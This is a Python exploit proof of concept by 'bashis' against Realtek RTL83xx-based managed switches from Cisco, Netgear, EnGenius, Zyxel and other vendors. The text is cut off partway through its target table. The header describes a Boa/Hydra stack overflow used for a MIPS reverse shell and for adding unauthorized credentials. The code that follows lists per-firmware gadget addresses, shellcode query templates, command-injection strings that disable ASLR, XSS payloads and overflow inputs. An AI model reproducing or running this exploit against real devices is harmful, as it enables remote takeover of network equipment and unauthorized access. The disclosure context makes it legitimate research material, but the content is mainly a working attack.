"""
[Subject]
Realtek Managed Switch Controller (RTL83xx) PoC (2019 bashis)
https://www.realtek.com/en/products/communications-network-ics/category/managed-switch-controller
[Brief description]
1. Boa/Hydra suffer of exploitable stack overflow with a 'one byte read-write loop' w/o boundary check. (all FW version and vendors affected)
Note: The vulnerability are _not_ from Boa nor Hydra, coming from Realtek additional coding
2. Reuse of code between vendors gives almost indentical exploitation of found vulnerabilities
3. Two strcpy() vulnerable fixed buffers next to each others in same function make it easy for jumping in Big Endian
[Goals for this PoC]
1. One Python PoC for all vendors
Using dictionaries to have one 'template' for each vendor and another dictionary with unique details for each target, to be merged on the fly.
The python code will read and use details from dictionary when verifying/exploiting
2. Uniquely identify remote target
ETag - Static and excellent tool for determine remote target, due to non-changing 'last modified' in same revision of Firmware
ETag: xxxxx-yyyyy
xxxxx = file size (up to 5 digits)
yyyyy = last modified (up to 5 digits)
3. Reverse shell
MIPS Big Endian shellcode is the only option, as there are no 'netcat/telnet/stunnel.. etc' availible
4. add/delete credentials for GUI/CLI
Quite many of the firmware's has the 'option' to add valid credentials by unauthorized updating of 'running-config'
For those who has added protection, we can add/delete credentials with an bit interesting jumping sequence
[Technical brief]
1. Stack - Read/Write/Executable (Using CMD injection in the PoC to turn off ASLR)
2. Heap - Read/Write/Executable (No need to turn off, ASLR not turned on for heap)
3. fork - Boa/Hydra using forking shellcode, as I want try restart Boa/Hydra to avoid DoS after successful reverse shell
Two vulnerable buffers with fixed size in same call, we overwrite $RA with four bytes, and overwrite first byte in $RA with second buffers NULL termination,
this allows us to jump within the binary itself, and passing arguments for the function we jumping to by tailing these with the original request
[Basically]
First buffer: [aaaaaaaa][0x58xxxxxx] ('a' and 0x58 will be overwritten by second buffer)
Second buffer: [bbbbb][bbbbbbbb][0x00xxxxxx] (NULL termination will overwrite 0x58)
[Known targets]
All below is fully exploitable, with following exception:
[*] ETag: 639-98866 [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.45]
[*] ETag: 639-73124 [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.37]
Not because they are not vulnerable, its because 1) their heap addresses lays at the '0x478000-0x47a000' range,
and 2) they using obfuscation 'encode' for the password (99 bytes max), we can never reach the 'two buffers' jump method.
[They are still fully exploitable with the Boa/Hydra vulnerability]
Note:
In this PoC I have only implemented few affected versions, in reality there is many more models and FW version affected.
$ ./Realtek-RTL83xx-PoC.py --etag help
[*] Realtek Managed Switch Controller RTL83xx PoC (2019 bashis)
[*] RHOST: 192.168.57.20
[*] RPORT: 80
[*] LHOST: 192.168.57.1
[*] LPORT: 1337
[+] Target: List of known targets
[*] ETag: 225-51973 [Cisco Systems, Inc. Sx220 v1.1.3.1]
[*] ETag: 225-60080 [Cisco Systems, Inc. Sx220 v1.1.4.1]
[*] ETag: 752-76347 [ALLNET GmbH Computersysteme ALL-SG8208M v2.2.1]
[*] ETag: 225-21785 [Pakedgedevice & Software Inc SX-8P v1.04]
[*] ETag: 222-71560 [Zyxel Communications Corp. GS1900-24 v2.40_AAHL.1_20180705]
[*] ETag: 14044-509 [EnGenius Technologies, Inc. EGS2110P v1.05.20_150810-1754]
[*] ETag: 13984-12788 [Open Mesh, Inc. OMS24 v01.03.24_180823-1626]
[*] ETag: 218-22429 [PLANET Technology Corp. GS-4210-8P2S v1.0b171116]
[*] ETag: 218-7473 [PLANET Technology Corp. GS-4210-24T2S v2.0b160727]
[*] ETag: 752-95168 [DrayTek Corp. VigorSwitch P1100 v2.1.4]
[*] ETag: 225-96283 [EDIMAX Technology Co., Ltd. GS-5424PLC v1.1.1.6]
[*] ETag: 225-63242 [EDIMAX Technology Co., Ltd. GS-5424PLC v1.1.1.5]
[*] ETag: 224-5061 [CERIO Corp. CS-2424G-24P v1.00.29]
[*] ETag: 222-50100 [ALLNET GmbH Computersysteme ALL-SG8310PM v3.1.1-R3-B1]
[*] ETag: 222-81176 [Shenzhen TG-NET Botone Technology Co,. Ltd. P3026M-24POE (V3) v3.1.1-R1]
[*] ETag: 8028-89928 [Araknis Networks AN-310-SW-16-POE v1.2.00_171225-1618]
[*] ETag: 222-64895 [Xhome DownLoop-G24M v3.0.0.43126]
[*] ETag: 222-40570 [Realtek RTL8380-24GE-4GEC v3.0.0.43126]
[*] ETag: 222-45866 [Abaniact AML2-PS16-17GP L2 v116B00033]
[*] ETag: 14044-44104 [EnGenius Technologies, Inc. EWS1200-28TFP v1.07.22_c1.9.21_181018-0228]
[*] ETag: 14044-32589 [EnGenius Technologies, Inc. EWS1200-28TFP v1.06.21_c1.8.77_180906-0716]
[*] ETag: 609-31457 [NETGEAR Inc. GS750E ProSAFE Plus Switch v1.0.0.22]
[*] ETag: 639-98866 [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.45]
[*] ETag: 639-73124 [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.37]
[*] All done...
[Other vendors]
These names have been found within some Firmware images, but not implemented as I have not found any Firmware images.
(However, I suspect they use exact same Firmware due to the traces are 'logo[1-10].jpg/login[1-10].jpg')
[*] 3One Data Communication, Saitian, Sangfor, Sundray, Gigamedia, GetCK, Hanming Technology, Wanbroad, Plexonics, Mach Power
[Known bugs]
1. Non-JSON:
'/mntlog/flash.log' and '/var/log/flash.log' not always removed when using 'stack_cgi_log()'
(Must change value for 'flash.log' that needs to be 0x02, 'flash.log' has value 0x00)
[Responsible Disclosure]
Working with VDOO since early February 2019 to disclosure found vulnerabilities to vendors
https://www.vdoo.com/blog/disclosing-significant-vulnerabilities-network-switches
[Technical details]
Please read the code
"""
import string
import sys
import socket
import argparse
import urllib, urllib2, httplib
import base64
import ssl
import hashlib
import re
import struct
import time
import thread
import json
import inspect
import copy
import hashlib
from Crypto.Cipher import AES
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto import Random
from random import randint
from pwn import *
global debug
debug = False
global force
force = False
def DEBUG(direction, text):
if debug:
print "[BEGIN {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno)
print "\n{}\n".format(text)
print "[ END {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno)
return
class HTTPconnect:
def __init__(self, host, proto, verbose, creds, Raw):
self.host = host
self.proto = proto
self.verbose = verbose
self.credentials = creds
self.Raw = Raw
def Send(self, uri, query_headers, query_data,ID,encode_query):
self.uri = uri
self.query_headers = query_headers
self.query_data = query_data
self.ID = ID
self.encode_query = encode_query
url = '{}://{}{}'.format(self.proto, self.host, self.uri)
if self.verbose:
log.info("[Verbose] Sending: {}".format(url))
if self.proto == 'https':
if hasattr(ssl, '_create_unverified_context'):
ssl._create_default_https_context = ssl._create_unverified_context
if self.credentials:
Basic_Auth = self.credentials.split(':')
if self.verbose:
log.info("[Verbose] User: {}, Password: {}".format(Basic_Auth[0],Basic_Auth[1]))
try:
pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
except Exception as e:
log.info("Basic Auth Error: {}".format(e))
sys.exit(1)
if self.query_data:
if self.query_data and self.encode_query:
request = urllib2.Request(url, data=urllib.urlencode(self.query_data,doseq=True), headers=self.query_headers)
else:
request = urllib2.Request(url, data=self.query_data, headers=self.query_headers)
if self.ID:
request.add_header('Cookie', self.ID)
else:
request = urllib2.Request(url, None, headers=self.query_headers)
if self.ID:
request.add_header('Cookie', self.ID)
response = urllib2.urlopen(request)
if self.Raw:
return response
else:
html = response.read()
return html
class Validate:
def __init__(self,verbose):
self.verbose = verbose
def CheckIP(self,IP):
self.IP = IP
ip = self.IP.split('.')
if len(ip) != 4:
return False
for tmp in ip:
if not tmp.isdigit():
return False
i = int(tmp)
if i < 0 or i > 255:
return False
return True
def Port(self,PORT):
self.PORT = PORT
if int(self.PORT) < 1 or int(self.PORT) > 65535:
return False
else:
return True
def Host(self,HOST):
self.HOST = HOST
try:
socket.inet_aton(self.HOST)
if self.CheckIP(self.HOST):
return self.HOST
else:
return False
except socket.error as e:
try:
self.HOST = socket.gethostbyname(self.HOST)
return self.HOST
except socket.error as e:
return False
class Vendor:
def __init__(self, ETag):
self.ETag = ETag
def random_string(self,length):
self.length = length
return "a" * self.length
def dict_merge(self, dct, merge_dct):
""" Recursive dict merge. Inspired by :meth:``dict.update()``, instead of
updating only top-level keys, dict_merge recurses down into dicts nested
to an arbitrary depth, updating keys. The ``merge_dct`` is merged into
``dct``.
:param dct: dict onto which the merge is executed
:param merge_dct: dct merged into dct
:return: None
"""
for k, v in merge_dct.iteritems():
if (k in dct and isinstance(dct[k], dict)
and isinstance(merge_dct[k], collections.Mapping)):
self.dict_merge(dct[k], merge_dct[k])
else:
dct[k] = merge_dct[k]
def dict(self):
Vendor_ETag = {
'218-22429': {
'template':'Planet',
'version':'1.0b171116',
'model':'GS-4210-8P2S',
'uri':'https://www.planet.com.tw/en/product/GS-4210-8P2S',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40E04C,
'system': 0x8f99851c,
'handler': 0x2484029c,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
'stack_cgi_diag': {
'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1',
'verify_uri':'/tmp/check',
'web_sys_ping_post':0x423B9C,
'vulnerable': True,
},
'stack_cgi_log': {
'log_settings_set':0x489368,
'log_ramClear':0x48AB84,
'log_fileClear':0x48C240,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x42DA80,
'sys_timeSntpDel_set':0x42DA80,
'sys_timeSettings_set':0x42C868,
'vulnerable': True,
},
'heack_cgi_shell': {
'cgi':'dispatcher.cgi',
'START':0x7ffeee04,
'STOP':0x7fc60000,
'usr_nop': 64,
'pwd_nop': 45,
'align': 3,
'stack':True,
'vulnerable': True,
},
},
},
'218-7473': {
'template':'Planet',
'version':'2.0b160727',
'model':'GS-4210-24T2S',
'uri':'https://www.planet.com.tw/en/product/GS-4210-24T2S',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40E04C,
'system': 0x8f99851c,
'handler': 0x2484029c,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
'stack_cgi_diag': {
'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1',
'verify_uri':'/tmp/check',
'web_sys_ping_post':0x424594,
'vulnerable': True,
},
'stack_cgi_log': {
'log_settings_set':0x48AA98,
'log_ramClear':0x48D9F4,
'log_fileClear':0x48D9F4,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x42E474,
'sys_timeSntpDel_set':0x42E474,
'sys_timeSettings_set':0x42D25c,
'vulnerable': True,
},
'heack_cgi_shell': {
'cgi':'dispatcher.cgi',
'START':0x7ffeee04,
'STOP':0x7fc60000,
'usr_nop': 64,
'pwd_nop': 45,
'align': 3,
'stack':True,
'vulnerable': True,
},
},
},
'225-51973': {
'template':'Cisco',
'version':'1.1.3.1',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40F70C,
'system': 0x8f998524,
'handler': 0x2484683c,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
'stack_cgi_diag': {
'web_sys_ping_post':0x43535C,
'sys_ping_post_cmd':'&srvHost=127.0.0.1 ";echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;"&count=1',
'sys_ping_post_check':'',
'verify_uri':'/tmp/check',
'vulnerable': True,
},
'stack_cgi_log': {
'log_settings_set':0x436FDC,
'log_ramClear':0x436F34,
'log_fileClear':0x436F88,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x434FB0,
'sys_timeSntpDel_set':0x4350D8,
'sys_timeSettings_set':0x434140,
'vulnerable': True,
},
'heack_cgi_shell': {
'cgi':'set.cgi',
'START':0x7ffeff04,
'STOP':0x7fc60000,
'usr_nop': 64,
'pwd_nop': 77,
'align': 3,
'stack':True,
'vulnerable': True,
},
},
},
'225-60080': {
'template':'Cisco',
'version':'1.1.4.1',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40ffac,
'system': 0x8f998530,
'handler': 0x24847b6c,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
'stack_cgi_diag': {
'web_sys_ping_post':0x43535C,
'sys_ping_post_cmd':'&srvHost=127.0.0.1 ";echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;"&count=1',
'sys_ping_post_check':'',
'verify_uri':'/tmp/check',
'vulnerable': True,
},
'stack_cgi_log': {
'log_settings_set':0x436FDC,
'log_ramClear':0x436F34,
'log_fileClear':0x436F88,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x434FB0,
'sys_timeSntpDel_set':0x4350D8,
'sys_timeSettings_set':0x434140,
'vulnerable': True,
},
'heack_cgi_shell': {
'cgi':'set.cgi',
'START':0x7ffeff04,
'STOP':0x7fc60000,
'usr_nop': 64,
'pwd_nop': 77,
'align': 3,
'stack':True,
'vulnerable': True,
},
},
},
'14044-509': {
'template':'EnGenius',
'version':'1.05.20_150810-1754',
'model':'EGS2110P',
'uri':'https://www.engeniustech.com/engenius-products/8-port-gigabit-smart-switch-egs2110p/',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40E12C,
'system': 0x8f99851c,
'handler': 0x248405a0,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_diag': {
'web_sys_ping_post': 0x42382C,
'sys_ping_post_cmd':'&ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&uid=0',
'sys_ping_post_check':'',
'verify_uri':'/conf_tmp/check',
'vulnerable': True,
},
'stack_cgi_add_account': {
'address':0x423E74,
'account':'&na=USERNAME&pt=2&pw=PASSWORD&pwn=PASSWORD&pv=0&op=1&',
'vulnerable': True,
},
'stack_cgi_del_account': {
'address':0x423E74,
'account':'&na=USERNAME&pt=2&pv=0&op=0',
'vulnerable': True,
},
'stack_cgi_log': {
'log_settings_set':0x43DE18,
'log_ramClear':0x43F934,
'log_fileClear':0x43F934,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x424844,
'sys_timeSntpDel_set':0x424844,
'sys_timeSettings_set':0x424844,
'vulnerable': True,
},
'heack_cgi_shell': {
'cgi':'security.cgi',
'START':0x100181A0,
'STOP':0x104006A0,
'usr_nop': 987,
'pwd_nop': 69,
'align': 0,
'stack':False,
'vulnerable': True,
},
},
},
'14044-32589': {
'template':'EnGenius',
'version':'1.06.21_c1.8.77_180906-0716',
'model':'EWS1200-28TFP',
'uri':'https://www.engeniustech.com/engenius-products/managed-poe-network-switch-ews1200-28tfp/',
'verify': {
'cpl_locallogin.cgi (XSS)': {
'description':'XSS in "redirecturl,userurl,loginurl,username,password" (PoC: Count passed XSS)',
'authenticated': False,
'response':'xss',
'Content-Type':False,
'uri':'/cgi-bin/cpl_locallogin.cgi?redirecturl=<script>alert(XSS);</script>&userurl=<script>alert(XSS);</script>&loginurl=<script>alert(XSS);</script>',
'content':'username=<script>alert(XSS);</script>&password=<script>alert(XSS);</script>',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
'sn.captivePortal.login (XSS)': {
'description':'XSS in "userurl & uamip" (PoC: Count passed XSS)',
'authenticated': False,
'response':'xss',
'Content-Type':False,
'uri':'/cgi-bin/sn.captivePortal.login?cmd=action',
'content':'mac=dummy&res=dummy&userurl=<script>alert(XSS);</script>&uamip=<script>alert(XSS);</script>&alertmsg=dummy&called=dummy',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
'cpl_logo_ul.cgi': {
'description':'Unauthenticated upload of "logo_icon". (PoC: Upload invalid file)',
'authenticated': False,
'response':'json',
'Content-Type':False,
'uri':'/cgi-bin/cpl_logo_ul.cgi',
'content':'Content-Disposition: filename.png\n------',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
'cpl_locallogin.cgi': {
'description':'Stack overflow in "username/password (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/cpl_locallogin.cgi?redirecturl=AAAA&userurl=BBBB&loginurl=BBBB',
'content':'username=admin&password=' + self.random_string(196),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
'sn.captivePortal.login': {
'description':'Stack overflow in "called", XSS in "userurl & uamip" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/sn.captivePortal.login?cmd=action',
'content':'mac=dummy&res=dummy&userurl=dummy&uamip=dummy&alertmsg=dummy&called=' + self.random_string(4100),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
'sn.jrpc.dispatch.cgi': {
'description':'Stack overflow in "usr, pswrd and method" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/sn.jrpc.dispatch.cgi',
'content':'{"id":1, "jsonrpc":"2.0","params":{"usr":"admin","pswrd":"' + self.random_string(288) + '"},"method":"login"}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
'sn.captivePortal.auth': {
'description':'Stack overflow in "user, chap_chal, chap_pass" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/sn.captivePortal.auth?user=admin&chap_chal=challenge&chap_pass='+ self.random_string(140),
'content':'',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40E15C,
'system': 0x8f99851c,
'handler': 0x24840690,
'v0': 6,
'safe': True,
'vulnerable': True,
},
'stack_cgi_add_account': {
'address':0x42D1D4,
'account':'&na=USERNAME&pt=2&pw=PASSWORD&pwn=PASSWORD&pv=0&op=1&',
'vulnerable': True,
},
'stack_cgi_del_account': {
'address':0x42D1D4,
'account':'&na=USERNAME&pt=2&pv=0&op=0',
'vulnerable': True,
},
'stack_cgi_diag': {
'web_sys_ping_post': 0x42CB8C,
'sys_ping_post_cmd':'&ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&uid=0',
'sys_ping_post_check':'',
'verify_uri':'/conf_tmp/check',
'vulnerable': True,
},
'stack_cgi_log': {
'log_settings_set':0x4494E8,
'log_ramClear':0x44B0C0,
'log_fileClear':0x44B0C0,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x42E438,
'sys_timeSntpDel_set':0x42E438,
'sys_timeSettings_set':0x42E438,
'vulnerable': True,
},
'heack_cgi_shell': {
'cgi':'security.cgi',
'query':'nop=nop&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
'START':0x100271A0,
'STOP':0x104006A0,
'usr_nop': 987,
'pwd_nop': 69,
'align': 0,
'stack':False,
'vulnerable': True,
},
},
},
'14044-44104': {
'template':'EnGenius',
'version':'1.07.22_c1.9.21_181018-0228',
'model':'EWS1200-28TFP',
'uri':'https://www.engeniustech.com/engenius-products/managed-poe-network-switch-ews1200-28tfp/',
'verify': {
'cpl_locallogin.cgi (XSS)': {
'description':'XSS in "redirecturl,userurl,loginurl,username,password" (PoC: Count passed XSS)',
'authenticated': False,
'response':'xss',
'Content-Type':False,
'uri':'/cgi-bin/cpl_locallogin.cgi?redirecturl=<script>alert(XSS);</script>&userurl=<script>alert(XSS);</script>&loginurl=<script>alert(XSS);</script>',
'content':'username=<script>alert(XSS);</script>&password=<script>alert(XSS);</script>',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
'sn.captivePortal.login (XSS)': {
'description':'XSS in "userurl & uamip" (PoC: Count passed XSS)',
'authenticated': False,
'response':'xss',
'Content-Type':False,
'uri':'/cgi-bin/sn.captivePortal.login?cmd=action',
'content':'mac=dummy&res=dummy&userurl=<script>alert(XSS);</script>&uamip=<script>alert(XSS);</script>&alertmsg=dummy&called=dummy',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
'cpl_logo_ul.cgi': {
'description':'Unauthenticated upload of "logo_icon". (PoC: Upload invalid file)',
'authenticated': False,
'response':'json',
'Content-Type':False,
'uri':'/cgi-bin/cpl_logo_ul.cgi',
'content':'Content-Disposition: filename.png\n------',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
'cpl_locallogin.cgi': {
'description':'Stack overflow in "username/password (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/cpl_locallogin.cgi?redirecturl=AAAA&userurl=BBBB&loginurl=BBBB',
'content':'username=admin&password=' + self.random_string(196),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
'sn.captivePortal.login': {
'description':'Stack overflow in "called", XSS in "userurl & uamip" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/sn.captivePortal.login?cmd=action',
'content':'mac=dummy&res=dummy&userurl=dummy&uamip=dummy&alertmsg=dummy&called=' + self.random_string(4100),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
'sn.jrpc.dispatch.cgi': {
'description':'Stack overflow in "usr, pswrd and method" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/sn.jrpc.dispatch.cgi',
'content':'{"id":1, "jsonrpc":"2.0","params":{"usr":"admin","pswrd":"' + self.random_string(288) + '"},"method":"login"}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
'sn.captivePortal.auth': {
'description':'Stack overflow in "user, chap_chal, chap_pass" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/sn.captivePortal.auth?user=admin&chap_chal=challenge&chap_pass='+ self.random_string(140),
'content':'',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40E15C,
'system': 0x8f99851c,
'handler': 0x24840690,
'v0': 6,
'safe': True,
'vulnerable': True,
},
'stack_cgi_add_account': {
'address':0x42C334,
'account':'&na=USERNAME&pt=2&pw=PASSWORD&pwn=PASSWORD&pv=0&op=1&',
'vulnerable': True,
},
'stack_cgi_del_account': {
'address':0x42C334,
'account':'&na=USERNAME&pt=2&pv=0&op=0',
'vulnerable': True,
},
'stack_cgi_diag': {
'web_sys_ping_post': 0x42BCEC,
'sys_ping_post_cmd':'&ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&uid=0',
'sys_ping_post_check':'',
'verify_uri':'/conf_tmp/check',
'vulnerable': True,
},
'stack_cgi_log': {
'log_settings_set':0x448008,
'log_ramClear':0x449BE0,
'log_fileClear':0x449BE0,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x42D598,
'sys_timeSntpDel_set':0x42D598,
'sys_timeSettings_set':0x42D598,
'vulnerable': True,
},
'heack_cgi_shell': {
'cgi':'security.cgi',
'query':'nop=nop&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
'START':0x100271A0,
'STOP':0x104006A0,
'usr_nop': 987,
'pwd_nop': 69,
'align': 0,
'stack':False,
'vulnerable': True,
},
},
},
'8028-89928': {
'template':'Araknis',
'version':'1.2.00_171225-1618',
'model':'AN-310-SW-16-POE',
'uri':'http://araknisnetworks.com/',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40E04C,
'system': 0x8f99851c,
'handler': 0x24840470,
'v0': 6,
'safe': False,
'vulnerable': True,
},
'stack_cgi_diag': {
'web_sys_ping_post': 0x42A494,
'sys_ping_post_cmd':'&ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&session_uid=0&uid=0',
'sys_ping_post_check':'',
'verify_uri':'/conf_tmp/check',
'vulnerable': True,
},
'stack_cgi_add_account': {
'address':0x4303B4,
'account':'&na=USERNAME&pw=PASSWORD&pv=0&op=1&',
'vulnerable': True,
},
'stack_cgi_del_account': {
'address':0x42ADB8,
'account':'&na=USERNAME&pw=&pv=0&op=0',
'vulnerable': True,
},
'stack_cgi_log': {
'log_settings_set':0x44DBD8,
'log_ramClear':0x44FC88,
'log_fileClear':0x44FC88,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x42BAE4,
'sys_timeSntpDel_set':0x42BAE4,
'sys_timeSettings_set':0x42BAE4,
'vulnerable': True,
},
'heack_cgi_shell': {
'cgi':'security.cgi',
'query': (self.random_string(1) +'=' + self.random_string(1) +'&') * 110 + 'usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
'START':0x10010104,
'STOP': 0x10600604,
'usr_nop': 987,
'pwd_nop': 69,
'align': 0,
'stack':False,
'vulnerable': True,
},
},
},
'752-76347': {
'model':'ALL-SG8208M',
'template':'ALLNET_JSON',
'version':'2.2.1',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40C4FC,
'system': 0x8f998528,
'handler': 0x248498dc,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_diag': {
'vulnerable': False,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
'stack_cgi_log': {
'log_settings_set':0x412ADC,
'log_ramClear':0x412A24,
'log_fileClear':0x412A24,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x40FA74,
'sys_timeSntpDel_set':0x40FA74,
'sys_timeSettings_set':0x40FA74,
'vulnerable': True,
},
'heack_cgi_shell': {
'cgi':'set.cgi',
'START':0x7ffeff04,
'STOP':0x7fc60000,
'usr_nop': 64,
'pwd_nop': 77,
'align': 3,
'stack':True,
'vulnerable': True,
},
},
},
'222-50100': {
'template':'ALLNET',
'version':'3.1.1-R3-B1',
'model':'ALL-SG8310PM',
'uri':'https://www.allnet.de/en/allnet-brand/produkte/switches/entry-line-layer2-smart-managed-unamanged/poe-switches0/p/allnet-all-sg8310pm-smart-managed-8-port-gigabit-4x-hpoe',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40C74C,
'system': 0x8f99851c,
'handler': 0x2484029c,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_diag': {
'vulnerable': False,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
'stack_cgi_log': {
'log_settings_set':0x46BB04,
'log_ramClear':0x46F240,
'log_fileClear':0x46F240,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x426724,
'sys_timeSntpDel_set':0x426724,
'sys_timeSettings_set':0x424D28,
'vulnerable':False,
},
'heack_cgi_shell': {
'cgi':'dispatcher.cgi',
'query':'username='+ self.random_string(112) +'_RA_START&password='+ self.random_string(80) +'&login=1'+ ('&%24%04%FF=%24%04%FF%FF' * 50) +'_SHELLCODE',
'START':0x10010104,
'STOP' :0x10600604,
'usr_nop': 28,
'pwd_nop': 20,
'align': 0,
'stack':False,
'vulnerable': True,
},
},
},
'609-31457': {
'template':'Netgear',
'model':'GS750E ProSAFE Plus Switch',
'uri':'https://www.netgear.com/support/product/gs750e.aspx',
'version':'1.0.0.22',
'login': {
'encryption':'caesar',
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'query':'{"_ds=1&password=PASSWORD&err_flag=0&err_msg=&submt=&_de=1":{}}',
},
'verify': {
'set.cgi': {
'description':'Stack overflow in "password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&password=' + self.random_string(320) + '&err_flag=0&err_msg=&submt=&_de=1":{}}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'gadget': 0x4102F8,
'system': 0x8f9984fc,
'handler': 0x24840c6c,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_diag': {
'vulnerable': False,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
'stack_cgi_log': {
'vulnerable': False,
},
'heack_cgi_shell': {
'description':'Stack overflow in "password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'cgi':'set.cgi',
'START':0x10001210,
'STOP':0x10006210,
'usr_nop': 50,
'pwd_nop': 79,
'align': 0,
'stack':False,
'query':'{"_ds=1&password=' + self.random_string(316) + '_RA_START&shellcode=_USRNOP_SHELLCODE&_de=1":{}}',
'workaround':False,
'vulnerable': True,
'safe': True
},
},
},
'639-98866': {
'template':'Netgear',
